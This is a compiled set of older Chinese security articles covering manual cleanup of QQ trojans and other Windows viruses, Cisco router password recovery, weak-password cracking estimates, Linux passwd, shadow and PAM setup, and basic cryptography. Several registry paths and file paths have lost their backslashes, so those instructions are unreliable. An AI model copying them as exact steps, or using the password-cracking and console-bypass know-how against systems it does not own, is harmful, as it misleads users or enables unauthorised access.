３、如果你的电脑系统是Win2000和WinXP，那么先告诉你一个坏消息，在这种系统中清除病毒比较麻烦！（清先不要紧张啊^o^）不过办法也不是没有啊！还是参考上面的方法重新启动电脑，进入安全模式，编辑system.ini和win.ini文件，同样是查找system.ini文件中的[boot]项下面的“shell=”的内容是否为“shell=Explorer.exe”，如果不是同样将其改回，然后保存退出。查找[windows]项下面的“load=”和“run=”是否为空，如果不是将其后面的清除并保存退出。运行注册表编辑程序或者运行系统配置实用程序，将其中多余的启动程序删除或屏蔽，保存退出并重新启动计算机进入正常模式即可。同样，请运行杀毒软件将病毒残留文件彻底清除。
４、对于中毒时任务栏出现的还原精灵图标，经分析病毒文件和总结杀毒经验，应该是针对网吧安装有还原精灵的情况的一个破解程序，其目的就是将系统安装的还原精灵破解，并自动设置还原精灵为更新保存的硬盘数据的状态，有利于病毒的更广泛的传播。本信息来源于一次在网吧上机，发现电脑自动保存了还原精灵的备份数据，进入系统后才知道系统已经保存有病毒了。对于这种情况，本人建议：在做病毒的手动清除之前，请先将还原精灵完全卸载，卸载时选择还原或者保留均可，然后再进行手动清除病毒的工作，在做完了病毒的手动清除并已经将病毒残留文件也清除后，再重新安装还原精灵并做好硬盘数据的保存工作。

分析进程，手动杀毒

简单地说，进程是程序在计算机上的一次执行活动。当你运行一个程序，你就启动了一个进程。进程又分为系统进程和用户进程。系统进程主要用于完成操作系统的功能，而QQ、Foxmail等应用程序的进程就是用户进程。

进程的重要性体现在可以通过观察它，来判断系统中到底运行了哪些程序，以及判断系统中是否入驻了非法程序。正确地分析进程能够帮助我们在杀毒软件不起作用时，手动除掉病毒或木马。

瞭望进程
如何知道系统中目前有哪些进程？在Windows98/Me/2000/XP/2003中，按下“Ctrl+Alt+Delete”组合键就可以直接查看进程，或打开“Windows 任务管理器”的“进程”选项来查看进程。通常来说，系统常见的进程有winlogon.exe，services.exe，explorer.exe，svchost.exe等。要熟悉进程，首先就要熟悉最常见的系统进程，这样当发现其它奇怪的进程名（如HELLO，GETPASSWORD，WINDOWSSERVICE等等）时就方便判断了。

常规杀灭进程法
1.有的进程在进程选项中无法删除，这时可以打开注册表编辑器（在“开始→运行”中键入regedit），找到“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun”下面的键，将可疑的选项删除。

2.另外，还可以通过系统的“管理工具”里面的“服务”查看目前的全部进程。这里重点要看服务中启动选项为“自动”的那部分进程，检查它们的名字、路径以及登录账户、服务属性的“恢复“里面有没有重启计算机的选项（有些机器不断属性的重新启动的秘密就在这里）。一旦发现可疑的名字需要马上禁止此进程的运行。

而要彻底删除这些程序进程可以用下面的办法：
打开注册表编辑器,展开分支“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices”,在右侧窗格中显示的就是本机安装的服务项，如果要删除某项服务，只要删除注册表中相关键值即可。

3.除了上面两种方法，我们还可以先查看这个进程文件所在的路径和名称。重启系统，按F8键进入安全模式，然后在安全模式下删除这个程序。

这里，笔者编写了容易被大家认出来的非法进程服务（系统进程）举例说明：HELLO-WORLD SERVICE 1。我们可以轻松地在进程列表和“服务”中找到它。根据上面的方法，我们可以把这个进程杀掉或禁用。

不少病毒和木马是以用户进程的形式出现的，所以大部分人认为“病毒是不可能获得‘SYSTEM’权限的”。其实，这是个错误的想法，很多病毒或木马也能获得SYSTEM权限，并伪装成系统进程出现在你面前。所以这类病毒就相当容易迷惑人，遇到这种情况，只有不断提高并关注系统安全方面的知识，才能准确判断该进程是否安全。

QQ聊天病毒之通杀技法

QQ的广泛使用，使得以QQ为平台的病毒在网络中肆意横行，在下面我就来看看常见的几种QQ病毒的特征及其清除方法。

    QQ的广泛使用，使得以QQ为平台的病毒在网络中肆意横行，在下面我就来看看常见的几种QQ病毒的特征及其清除方法。

    小心“武汉男生”木马病毒

    病毒名称："武汉男生"（Troj_WHBoy）

    病毒种类：木马

    感染系统：Windows 95/98/Me/NT/2000/XP

    病毒特性：

    该病毒通过聊天软件Oicq进行传播。当计算机被该病毒感染后，用户一旦运行了QQ，病毒就会不断搜寻当前已经打开的QQ"发送消息"窗口，并在找到"发送消息"窗口后，自动发送一条消息到其他用户那里，"我的相片..看看..（某网站网址）"，一旦收到此消息的得用户点击了该网站的链接，就遭受了病毒的感染。

    病毒运行后在系统目录下生成三个病毒文件，分别为ABCHELP.EXE，WINhelp32.exe和DirectX.exe，其中后2个文件的属性是隐含的。（系统目录在Windows 9x/Me下为C:WindowsSystem，在Windows NT/2000下为 C:WINNTSystem32，在Windows XP下为 C:WindowsSystem32）

    病毒修改注册表，使病毒能随系统启动而自动运行。

    在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下生成run = "WINhelp32.exe"

    在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices下生成（default）= "abchelp.exe"

    广大用户应及时升级杀毒软件，启动"实时监控"系统，在使用OICQ聊天时也要意，不要轻易打开任何链接，以免遭受病毒的感染。

    清除病毒的相关操作

    1、删除病毒在系统目录下释放的病毒文件

    2、删除病毒在注册表下生成的键值

    3、运行杀毒软件，对病毒进行全面清除

    防范病毒使用杀毒软件有五大禁忌

    （一）忌偷懒不升级

    （二）忌忽略对邮件的保护

    （三）忌疏忽设置各项功能

    （四）忌轻信网络的安全性

    （五）忌轻视数据备份

爱情森林

爱情森林的清除：

    (1)先打开任务管理器，结束掉位于下面的那个Explorer进程，然后删除系统目录下的木马程序Explorer.exe。或者重新启动到DOS下到system目录直接删除该木马程序。

    (2)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为Explorer的键值。

    2、变种一的清除：

    (1)打开任务管理器，结束掉RUNDLL和SYSEDIT32进程。

    (2)删除系统文件夹(Win9x通常为Windowssystem,WinNt通常为WinNtsystem32)下名为RUNDLL.exe和sysedit32.exe的文件（文件大小为1781752字节）。

    (3)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为intarnet=%windowssystem%rundll.exe"的键值。恢复HKEY_CLASSES_ROOTtxtfileshellopencommand的默认键值为Notepad %1。(其中%windowssystem%为Windows的系统文件夹)

    (4)若根目录下存在文件setup.txt或mima.txt,将其删除。

    3、变种二的清除：

    (1)打开任务管理器，结束掉位于下面的那个Explorer进程，然后删除系统目录下的木马程序Explorer.exe。或者重新启动到DOS下到system目录直接删除该木马程序。

    (2)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为Explorer的键值。

    4、变种三的清除：

    (1)打开任务管理器，结束掉RUNDLL和SYSEDIT32进程。

    (2)删除系统文件夹(Win9x通常为Windows\system,WinNt通常为WinNt\system32)下名为RUNDLL.exe和sysedit32.exe的文件（文件大小为1781752字节）。

    (3)打开注册表编辑器，删除HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下名为intarnet=%windowssystem%\rundll.exe"的键值。恢复HKEY_CLASSES_ROOT\txtfile\shell\open\command的默认键值为Notepad %1。(其中%windowssystem%为Windows的系统文件夹)

    (4)恢复IE的设置。打开注册表编辑器，恢复HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page，HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL，HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Local Page的设置为原来的内容。

5、变种四的清除：

    (1)先打开任务管理器，结束掉位于下面的那个Explorer进程，然后删除系统目录下的木马程序Explorer.exe。或者重新启动到DOS下到system目录直接删除该木马程序。

    (2)打开注册表编辑器，删除HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下名为Explorer的键值

    相关杀毒软件下载地址：

    QQ消息发送机病毒专杀工具

    http://user.net163.com/piao/down/down.asp?id=962&;no=1

    金山专杀工具的下载

    http://gz3.duba.net/kpub/source/down.php?id=20 ;

    SCKISS爱情森林专杀,可以完全查杀全部5个变种

    _SCKiss.EXE">ftp://gz.duba.net/download/othertools/Duba_SCKiss.EXE ;

    “狩猎者”专杀工具

    http://gz3.duba.net/kpub/source/dow...=gz&;t=ftp&id=38

    删除QQ“缘”病毒

    平时我很少去看类示的东西，但因为是很要好的朋友所以也觉得挺希奇的然后就点进进入了，进入的画面如下：

    点击进入后会自动提示下载名为Book.exe的程序。

    我立即点击"打开"运行了程序，运行后并没有想象中的电子图书出现，而IE又自动打开了两个网页。我马上意识到肯定是一个病毒程序了。

    之后我点击QQ上的朋友联系，但QQ马上自动发送上面的那段代码。(我晕)而且每当有好友给我发信息系统都会自动回复那段话。(不幸的是我的好几个朋友也由于相信我运行了它).结果招来一堆朋友的臭骂。

    中招了当然就得修复了，以前也不是没有碰到过这样的事情(IE,启动而被改是常有的事)。可到瑞星，金山下载QQ专用删除工具都无果，使用超级兔子也不行。修改了注册个后重启机器毛病依旧。后来使用了下面的办法将其彻底删除。

    找到下列文件[假定你系统装在C:][我的系统是Win xp]{建议你在C:盘查找 NotePed.exe 注释: NotePad.exe才是Window文本编辑器}

    C:windowssystem oteped.exe

    C:windowssystemTaskmgr.exe

    C:Windows oteped.exe

    C:Windwossystem32 oteped.exe

    删除掉:其中Taskmgr.exe 要先打开"window 任务管理器",选中进程"Taskmgr.exe",杀掉

    注意:有两个名字叫"Taskmgr.exe"进程,一个是QQ病毒,一个是你刚才打开的"Window 认为管理器"

    然后到注册表中找到"HKey_Local_MachinesoftwareMicrosoftwindowsCurrentVersionRun"

    找到"Taskmgr" 删除

    如果你还不明白那请你先找到那几个文件，然后再按下面的图例操作:

    1.在任务栏上点击鼠标右键，选择任务管理器

    2.选择进程里的Taskmgr.exe，但我后来又测试也进行名称不一定是大写的，也有可能是小写，一般排在上面的一个是。

    3.点击开始-运行，输入Regedit进入注册表

    4.在注册表中找到 "HKey_Local_MachinesoftwareMicrosoftwindowsCurrentVersionRun，将Taskmgr"项删除"。

    删除后重启计算机，《缘》QQ病毒宣布彻底删除。

    另外提醒大家，尽快更新你的IE到IE6 SP1 这样可以减少很多的IE被改机会。


论Cisco路由器密码恢复方法

作者：keanewei 发表时间：2002/08/16 01:21pm

论Cisco路由器密码恢复方法。
Cisco 路由器在网络互联中得到广泛的应用，其中2500系列路由器更是在低
端用户中被大量采用。那么，如果你不慎将2500系列路由器的超级用户密码忘掉
了，怎么办呢？不要怕，只要你按如下方法就可以恢复：
    准备工作：一台微机运行终端仿真程序（可以在Windows 95/98下启动超级终
端），微机串口（COM1/COM2）通过Cisco公司随机配备的配置线与路由器Consol
e口连接。
    恢复步骤：
    （1）路由器开机，30秒内按Ctrl＋Break键，出现提示符“>"（如果没有出
现该提示符，路由器重新开机，重复（1）步骤）。
    （2）键入如下命令： ">o/r 0x142"。
    （3）初始化路由器： ">i"。
    （4）系统重新启动，屏幕显示系统配置对话： "桽ystem configuraiton t
o get started?，键入 "no"，系统显示“Press RETURN to get started! "，按
“Return"键，系统显示“Router>"。
    （5）键入如下命令： "Router>enable"进入超级用户状态(系统不再需要你
输入超级口令了)；“Router＃show startup－config"显示配置参数，特别要注
意记住所看到的密码（你也可以通过enable serect "changepassword"命令更改
超级用户口令）。
    （6）键入如下命令恢复原来的寄存器：
     "Router(config)＃config－reg 0x2102" ；
     "Router(config)＃ctrl－z"；
     "Router(config)＃wr"存盘。
（7）重新启动路由器，即可：“Router＃reload"。
---------------------------------------------------------
再谈Cisco路由器密码忘了该怎么办？
田宇清
    12月14日的《中国计算机报》D8版刊登一篇忘记了Cisco2500路由器密码时该
怎么办的文章，我认为该文章所述的恢复原理和步骤基本正确，但是在实现过程
中应该稍作改动：
    1.路由器开机，依照Cisco公司提供的技术手册应该是60秒内按Break键，而
不是该文中所述的30秒内按Crl＋Break键。
    2.在键入“>o/r 0x142"命令之前，应键入“>e/s 2000002"命令，并记录下
返回值，用于在后面“Router(config)＃config－register 0x2102"命令中替换
2102（其实通常返回值就是2102，可是万一不是呢？）。
    3.完成该文所述的3、4、5步骤后，千万不要直接运行步骤6，否则路由器的
配置将全部丢失！（虽说与Cisco公司提供的技术手册完全相同，但是恐怕Cisco
公司也没有考虑的这个后果）因为在步骤6中虽然可以恢复config－register，同
时也用空白的配置文件覆盖了先前的配置文件，就算找到了Enable密码，也没有
意义了。好在天无绝人之路，有两个办法可以继续工作：
    a.直接重新起动路由器，继续步骤1，然后键入“>o/r 0x2102"（即所记录下
的返回值），键入“>i"即可。
    b.键入如下命令：
    “Router＃copy start run"（先把配置文件拷贝到内存）
    “Router＃config t"
    “Router(config)＃config－register 0x2102"（即所记录下的返回值）
    “Router(config)＃Ctrl＋z"
    “Router＃write（更改config－register后，保存配置文件”）
    “Router＃reload"
    这个办法不但适用于Cisco2500，也适用于Cisco2000、Cisco3000、Cisco40
00和Cisco7000，在此且不赘述了。


密码危险口令排行榜

随着计算机网络的普及，各种各样的口令也成为我们网络生活的一部分。可是，有相当多的用户安全意识不够强烈，宁可采用自己的阿“土方法”，也不愿意听取安全专家对于口令选取的建议，而他们的口令有很多是高风险的。为了使大家对此有一个形象的认识，笔者参考了十数个黑客软件的工作原理，按照口令破译的难易程度，以破解需要的时间为排序指标，制作了这张危险口令排行榜。
第一名：使用用户名（账号）作为口令。尽管，这种方法在便于记忆上有着相当的优势，可是在安全上几乎是不堪一击。几乎所有以破解口令为手段的黑客软件，都首先会将用户名作为口令的突破口，而破解这种口令几乎不需要时间。不要以为没有人会采用这种愚蠢的办法，根据有经验的黑客反映，在一个用户数超过一千的电脑网络中，一般可以找到10至20个这样的用户，而他们则成为了黑客入侵的最佳途径。
第二名：使用用户名（账号）的变换形式作为口令。使用这种方法的用户自以为很聪明，将用户名颠倒或者加前后缀作为口令，既容易记忆又可以防止许多黑客软件。不错，对于这种方法的确是有相当一部分黑客软件无用武之地，不过那只是一些初级的软件。一个真正优秀的黑客软件是完全有办法对付的，比如说著名的黑客软件John，如果你的用户名是fool，那么它在尝试使用fool作为口令之后，还会试着使用诸如fool123、fool1、loof、loof123、lofo等作为口令，只要是你想得到的变换方法，John也会想得到，它破解这种口令，几乎也不需要时间。
第三名：使用自己或者亲友的生日作为口令。这种口令有着很大的欺骗性，因为这样往往可以得到一个6位或者8位的口令，从数学理论上来说分别有1000000和100000000种可能性，很难得到破解。其实，由于口令中表示月份两位数数字只有1～12可以使用，表示日期的两位数数字也只有1－31可以使用，而8位数的口令其中作为年份的4位数铁定是19xx年，经过这样推理，使用生日作为口令尽管有6位甚至8位，但实际上可能的表达方式只有100×12×31= 37200种，即使再考虑到年月日三者共有六种排列顺序，一共也只有37200×6=223200种，仅仅是原来100000000的1/448，而一台普通的P200计算机每秒可以搜索3～4万种，仅仅需要5.58秒时间就可以搜索完所有可能的口令。如果再考虑到实际使用计算机人的年龄，1930～1980就可以概括掉大多数的可能性，那么搜索需要的时间还可以进一步缩短。
第四名：使用常用的英文单词作为口令。这种方法比前几种方法要安全一些。前几种只需要时间一定能破解，而这一种则未必。如果你选用的单词是十分偏僻的，那么黑客软件就可能无能为力了。不过不要高兴得太早，黑客多有一个很大的字典库，一般包含10万～20万的英文单词以及相应的组合，如果你不是研究英语的专家，那么你选择的英文单词恐怕十之八九可以在黑客的字典库中找到。如果是那样的话，以20万单词的字典库计算，再考虑到一些DES(数据加密算法)的加密运算，每秒1800个的搜索速度也不过只需要110秒。
第五名：使用5位或5位以下的字符作为口令。从理论上来说，一个系统包括大小写、控制符等可以作为口令的一共有95个，5位就是95的5次方=7737809375种可能性，使用P200虽说要多花些时间，不过最多也不过53个小时，如果考虑到许多用户喜欢使用字母加数字，那么62的5次方= 916132832种可能性，只需要6.23小时就可以破解，再考虑还有更多的用户只喜欢使用小写字母加数字作为口令，那么就只有36的5次访= 60466176种可能性，那就只需要25分钟就可以破解。可见5位的口令是很不可靠的，而6位口令也不过将破解的时间延长到一周左右。
那么，怎样的口令才是安全的哪？首先必须是8位长度，其次必须包括大小写、数字字母，如果有控制符那么更好，最后就是不要太常见。比如说：e8B3Z6v0或者fOOL6mAN这样的密码都是比较安全的。不过再安全的密码也不是无懈可击的，只有安全的密码配上3～6个月更换一次的安全制度才是真正安全的。


网管们的账号怎么样才安全
本文不是讲网络安全的文章，但是也不需要读者有网络安全方面的专业知识。本文注重于你的linux服务器创建好之后的安全问题，服务器的创建过程相信你通过参考其他文章能够配置成功，但是光是能够运行是不够的，因为这时的服务器存在着安全隐患，很容易被入侵，如果是个人的服务器，那到无所谓，但是如果是一个企业或单位，那么损失可能会大大超过忽略安全而节省出来的费用。
也许有的系统管理员在配置好服务器之后，运行良好，就转而研究新的东西，这不是个好习惯。举一个例子，有很多人装好的linux，如果你用端口扫描器扫描的话，会发现许多危险的端口都打开着，例如一台不是mail服务器的机器开着pop3端口，另外还开着finger端口，netstat端口等等，系统管理员却一点意识都没有。一个基本的黑客可以用现成的软件攻破这台主机，并获得root。
但是作为网络服务器，应用是第一位的，如果限制应用来保证安全，那就会失去大量的用户，所以建立合理的安全策略是非常重要的。一个好的安全策略应该在客户需求分析的基础上，由经理、工程师、系统管理员共同策划。然后在此基础上，决定投入多少的安全资金。一般说来，Q;9750406用户越多，安全级别就越低，投入的安全资金就越多。好了，上面说的似乎太抽象了，我想读者还是想知道具体的东西吧。
帐号安全
我们知道，帐号在linux里面是最基本的，也是最重要的，如果你的帐号被人知道了密码，他就可以登录到你的linux主机，进行一些破坏活动，最危险的是root泄露，那么你的计算机就不是由你自己来控制了。
口令的选择是非常重要的，一些常用的、容易被猜到的口令会给系统带来不安全的因素，所以口令的选择有如下基本规定：
选择一个至少6个字符长度的口令
口令中应该带数字或特殊字符
容易记忆，不要写在纸上
能够迅速输入，使偷看的人不容易认出
口令最好不要由单词或名字组成
在linux中，口令文件在/etc/passwd中，早期的这个文件直接存放加密后的密码，前两位是"盐"值，是一个随机数，后面跟的是加密的密码。为了安全，现在的linux都提供了
/etc/shadow这个影子文件，密码放在这个文件里面，并且是只有root可读的。
Linux口令加密机制源于DES，通常使用56位密钥加密的64位的文本块。传统的crypt（）函数把用户口令填充到8个字符，并用每个字符的7位形成一个56位的DES
key。该Key被用来对64位的零块（00000000）进行加密。加密结果再次用该key加密，重复25次。最终结果是一个11位的字符串，写到/etc/passwd或/etc/shadow中。为了使基于DES的加密能够更有效的抵御字典攻击，增加了"盐"值，在0~4095之间，用来搅乱DES算法，使得同样的明文因"盐"的不同而密文不同。
上面的可能比较专业，看不懂也没有关系，下面来分析一下/etc/passwd文件，他的每个条目有7个域，分别是名字：密码：用户id：组id：用户信息：主目录：shell
例如：ynguo:x:509:510::/home/ynguo:/bin/bash
在利用了shadow文件的情况下，密码用一个x表示，普通用户看不到任何密码信息。如果你仔细的看看这个文件，会发现一些奇怪的用户名，她们是系统的缺省账号，缺省账号是攻击者入侵的常用入口，因此一定要熟悉缺省账号，特别要注意密码域是否为空。下面简单介绍一下这些缺省账号
adm拥有账号文件，起始目录/var/adm通常包括日志文件
bin拥有用户命令的可执行文件
daemon用来执行系统守护进程
games用来玩游戏
halt用来执行halt命令
lp拥有打印机后台打印文件
mail拥有与邮件相关的进程和文件
news拥有与usenet相关的进程和文件
nobody被NFS（网络文件系统）使用
shutdown执行shutdown命令
sync执行sync命令
uucp拥有uucp工具和文件
系统最好不要提供guest账号，如果必须提供，口令应该天天变化，并且这个用户的shell应该用rsh。不常用的账号是侵入者的最佳目标，有大量用户成员的系统必然存在账号变动，当有用户离开，有组织的删除他们的账号很重要。用userdel命令可以删除账号，另外，禁用账号最快的方法是在/etc/passwd中或影子文件中在用户的加密口令的开始加一个*，该用户就不能再次登录。

Root在unix中是最最重要，应该尽可能的保护，下面的规则必须注意：
除非必要，避免用root登录
如果必须用root，首先用自己的普通账号登录，然后使用/bin/su-成为root
rootshell用完必须关掉
root不能随意让人知道
永远不要将当前目录(.)放在root的搜索路径中。不要把普通用户的/bin目录放在root的搜索路径中。
调用su时一定要写上全路径/bin/su-，否则被特洛伊木马搞一把就惨了
永远不要以root运行其他用户的或不熟悉的程序
传统上，/etc/passwd文件在很大范围内是可读的，因为许多应用程序需要用他来把UID转换为用户名。例如，如果不能访问/etc/passwd，那么ls
-l命令将显示UID而不是用户名。但是使用口令猜测程序，具有加密口令的可读/etc/passwd文件有巨大的安全危险。所以出现了影子文件/etc/shadow。

影子口令系统把口令文件分成两部分：/etc/passwd和/etc/shadow。影子口令文件保存加密的口令；/etc/passwd文件中的密码全部变成x。Shadow只能是root可读，从而保证了安全。/etc/shadow文件每一行的格式如下：
用户名：加密口令：上一次修改的时间（从1970年1月1日起的天数）：口令在两次修改间的最小天数：口令修改之前向用户发出警告的天数：口令终止后账号被禁用的天数：从1970年1月1日起账号被禁用的天数：保留域。
例如：root:$1$t4sFPHBq$JXgSGgvkgBDD/D7FVVBBm0:11037:0:99999:7:-1:-1:1075498172
bin:*:11024:0:99999:7:::
daemon:*:11024:0:99999:7:::缺省情况下，口令更新并不开启。如果你的系统没有启动影子文件，那么运行pwconv程序。
PAM（pluggableAuthenticationmodules）是一套共享库，他为系统管理进行用户确认提供广泛的严密控制，本身不是一个工具。他提供一个前端函数库（一个API）用来确认用户的应用程序。PAM库可以用一个单独的文件/etc/pam.conf来配置，也可以通过位于/etc/pam.d/下的一组配置文件来配置。使事情对用户容易是PAM的核心目标。PAM可以配置成提供单一的或完整的登录过程，使用户输入一条口令就能访问多种服务。例如，ftp程序传统上依靠/etc/passwd机制来确认一个希望开始进行ftp会议的用户。配置了PAM的系统把ftp确认请求发送给PAM
API，后者根据pam.conf或相关文件中的设置规则来回复。系统管理员可以设置PAM使一个或多个认证机制能quot;插入quot;到PAMAPI中。PAM的优点之处在于其灵活性，系统管理员可以精心调整整个认证方案而不用担心破坏应用程序。
DESIGNGOALS(设计目标)：
管理员可以选择认证方式，从简单的密码到智能卡系统。
可以为不同的程序配置不同的认证机制.如使telnet使用S/Key认证.。而本机的login缺使用一般的UNIXpassword。
支持程序的显示方式的需求。如login需要基于终端的显示，而dtlogin需要X显示，而ftp和telnet需要透过网络来认证。
支持为一个程序配置同时使用多种认证机制。
可是用户在使用多种认证机制时，不必为同一个密码敲入多次。
可是用户在认真时需要输入多个密码。
当底层的认证机制改变时上层软件不需要修改。
结构为systemauthentication提供一个pluggable_model。
必须能满足现有的服务需要
OVERVIEWOFTHEPAMFRAMEWORK(纵览PAM的框架)其核心实际上是一些库函数。你写的应用程序要调用它们。PAM为你提供了一套入口(the
frontend)。而这套函数互调用特定认证机制所定义的模块(thebackend)。简单的说是这样的：你调用一个函数仅仅告诉它你要认正，这就足够了。至于用那一种机制来认证是由配置文件规定的。你只需要看一看返回值就知道认证是否成功了。对于开发应用程序的人来说只需要记住几个函数。PAM的功能被分为四个部分：
authentication(认证)
account(账号管理)
session(对话管理)
password(密码管理)。
这四个都是什么呢？
authentication(认证)：包括pam_authenticate()来认证用户，pam_setcred()来设置刷新和销毁用户的
credentials。
Accountmanagement：包括pam_acct_mgmt()来检查用的账号是否还有效.可以被用来检查用户是否超时或账号是否过期。
Sessionmanagement：包括pam_open_session()和pam_close_session()用于对话过程的管理。例如:
可以用来纪录用户的连接时间。一次telnet过程实际上也是一个session。
Passwordmanagement：pam_chauthtok()用来修该密码。程序通过调用pam_start()和pam_end()
来开始或结束一次PAM事务。pam_get_item()和pam_set_item()读写有关事务的信息。可以用pam_strerror()来取得错误信息。

如何配置你的系统呢?
pam.conf的一个例子：
服务名模块类型控制标志模块的名字选项
------------------------------------------------
loginauthrequiredpam_unix_auth.sonowarn
loginsessionrequiredpam_unix_session.so
loginaccountrequiredpam_unix_account.so
ftpauthrequiredpam_skey_auth.sodebug
ftpsessionrequiredpam_unix_session.so
telnetsessionrequiredpam_unix_session.so
loginpasswordrequiredpam_unix_passwd.so
passwdpasswordrequiredpam_unix_passwd.so
OTHERauthrequiredpam_unix_auth.so
OTHERsessionrequiredpam_unix_session.so
OTHERaccountrequiredpam_unix_account.so
OTHER被用来为没有它数指定的服务用的。选项是随着模块的参数。为一个服务是可以指定多个auth模块的.它们一次被调用来验证用户的身份.这叫做StackedModules。pam.conf中的控制标志实际上是指明这些Stackedmodule的工作方式。它可取的值如下：
(a)required：该模块的让正必须通过，失败者立即返回错误信息。
(b)optional：表示可以忽略它的错误而继续下面一个模块。
(c)ufficient：表明该模块的让正已经是足够了，下面的模块就不用调用了.立即返回成功的消息。
Password-Mapping密码的映射多层的模块认证可能会需要多个密码。则会使用户感到厌烦。一个简单的方法是是用户使用同一个密码而透过mapping机制来加强安全性。其实是通过一个密码来产生另一个密码，使一个密码可被多个模块使用。当然要保证第一个密码是强壮的。
auth的模块多有下列选项：
(a)use_first_pass：使用第一个模块要求输入的密码.不再向用户提示要密码。
(b)try_first_pass：先试着使用第一个模块要求输入的密码，不对再要求用户输入。
(c)use_mapped_pass：使用password-mapping来得到密码，不再向用户提示要密码。
(d)try_mapped_pass：先试着使用password-mapping来得到密码，不对再向用户提示要密码。
下面的例子可以看懂了吧：
pam.conf
loginauthrequiredpam_unix.sodebug
loginauthrequiredpam_kerb.souse_mapped_pass
loginauthoptionalpam_rsa.souse_first_pass
这种设计使你没有办法来知道执行的具体情况。当然它也是与应用程序无关的。
Notes：在linux下，也可以用/etc/pam.d中的文件来配置.这些文件的格式与pam.conf类似，只是没有服务名。其服务名就是它的文件名。
关于PAM的详细资料，请看网http://www.kernel.org/pub/linux/libs/pam/index.html请记住，只要你的服务器是一个网络的服务器，有着大量的用户，PAM就有用武之地。
下面我提供一些账号安全工具，具体怎么用请看工具附带的文档。
1．Anlpasswd：这是一个口令预先检查工具，防止用户选择差的口ftp://coast.cs.purdue.edu/pub/tools/unix/anlpasswd/ ;
2．Crack：口令猜测程序，通过扫描口令文件来定位不安全的口令，并找到选择该口令的用http://www.users.dircon.co.uk/~crypto/ ;
3．Epasswd：可代替标准的passwd程序，支持影子口令和口令更http://science.nas.masa.gov/Groups/Security/epasswd/index.html ;
4．Kerberos：物理上不安全的网络使用的网络认证协http://web.mit.edu/kerberos/www/ ;
5．Npasswd：代替passwd命ftp://ftp.cc.utexas.edu/people/clyde/npasswd/doc/index.html ;
6．OPIE：OneTimePasswordsinEverythinftp://ftp.inner.net/pub/opie/ ;
7．passwd+：口令预先检测工ftp://ftp.dartmouth.edu/pub/security/ ;
8．Shadow：用来代替login和passwd以使任何系统都可以使用影子口令文ftp://ftp.std.com/src/freeunix/shadow.tar.Z ;
9．SRA：用来代替telnet和ftp客户服务器程序。使用SecureRPC代码来提供通过网络的加密认证，使得纯文本口令不再使ftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/ ;


 密码术简介

第 1 部分： 概览

Murdoch Mactaggart（IBMDev@TextBiz.com）
自由撰稿人
2001 年 3 月

对他人隐私的好奇心和隐藏信息是所有人类社会的特征。
随着计算能力的出现和高级数学技术的发展，系统变得非常复杂，
目前有可能构造出很难被有效破解的密码。用来加密和解密数据的算法分为两大类：
秘钥（secret key）或对称密码术，其中对加密和解密这两个过程使用同一密钥；
以及公钥或非对称密码术，其中一个密钥用来加密，另一个用来解密。现在，标识发送方、
认证和不可抵赖性（non-repudiation）与信息隐藏一样重要。本文对密码术做了广泛而详细的研究。
在该系列的后续文章中会更详细地研究具体问题。

一般信息
好奇心是人类最普遍的特征之一，与之对应的是隐藏个人信息的愿望。
情人、间谍和军队都会采用信息隐藏技术来安全地传递消息，有时还故意包含一些使人产生误解的信息。
隐写术是在看起来单纯的情形中隐藏信息的一种机制，可单独使用，也可以与其它方法一起使用。

根本上讲，加密在于扰乱消息，这样它的内容就无法轻易获取，而解密是这一过程的逆向过程。
这些过程取决于特定的算法，称为密码：经过适当扰乱的文本称为密文，而原始文本毫无疑问是明文。
可读性并不是某些明文的充要条件。在有些情况下，例如，如果对已加密的文本进一步加密的话，
在读取时，原始文本很可能没有任何明显的意义。还有可能构造一种机制，它的输出是可读文本，
但与未经加密的原始文本实际上没有任何关系。

密钥与密码结合使用来加密或解密文本。在把字符串用作密码的情况下，密钥看起来可能是有意义的，
但是与这个转换无关 — 密钥的功能在于由位组成的字符串，决定了明文到密文的映射。

直到最近，在计算机能力发展的帮助下，非常普遍的加密方法是使用某种替代形式。
这可能非常简单，就象影片 2001: A Space Odyssey 中所声称的隐藏计算机实名那样，
其中将字母 HAL 在字母表中移一位就会产生一个似是而非的结果。
在众多间谍小说中，把一些从单纯的文档或书籍中选取的字或短语或任意字母序列用来生成消息，
构造密钥或创建替代表，以加密或解密文本。

为什么使用密码术？
出于安全性原因而保护对信息的访问仍是使用密码术的主要原因。
但是，它也正越来越多地用于个人的标识、认证和不可抵赖性。
随着因特网、全球贸易和其它活动的增长，这一点尤为重要。
电子邮件和 Web 用户的身份非常容易隐藏或伪造，
而安全认证可以向那些用户提供远程交互的可信度：他们正与恰当的人进行交易，
消息没有被伪造或更改。在商业活动中，不可抵赖性是一个重要概念，
它确保（假设）如果商定了合同，一方就不能声称他们实际上并不同意来违约，
也不能在其它时间（可能是价格上涨或下浮时）这样做。
数字签名和数字时间戳记在这种情况下使用，并且常结合其它诸如消息摘要和数字证书等机制使用。

密码术及相关技术的使用范围是相当广泛的，而且正在稳定增长。密码使用很普遍，
但是它们提供的保护却常常不可靠，因为可能许多组织中的安全性策略并没有经过深思熟虑，
而且使用它们所引起的问题和麻烦会更多，根本不值得这样做。
在许多使用密码的情况下（例如，保护字处理文档），使用的密码根本无法胜任，
只要从可免费获得的一些攻击程序中使用一个，就能毫不费力地攻击它们。

遗憾的是，对立法者也有相当大的压力，使他们制定了一些荒谬的法规，
如美国的“千年虫适应性法案（Millennium Compliance Act）”，
它在本质上免除了组织设法尽力保护自己或承担不作为结果的责任。
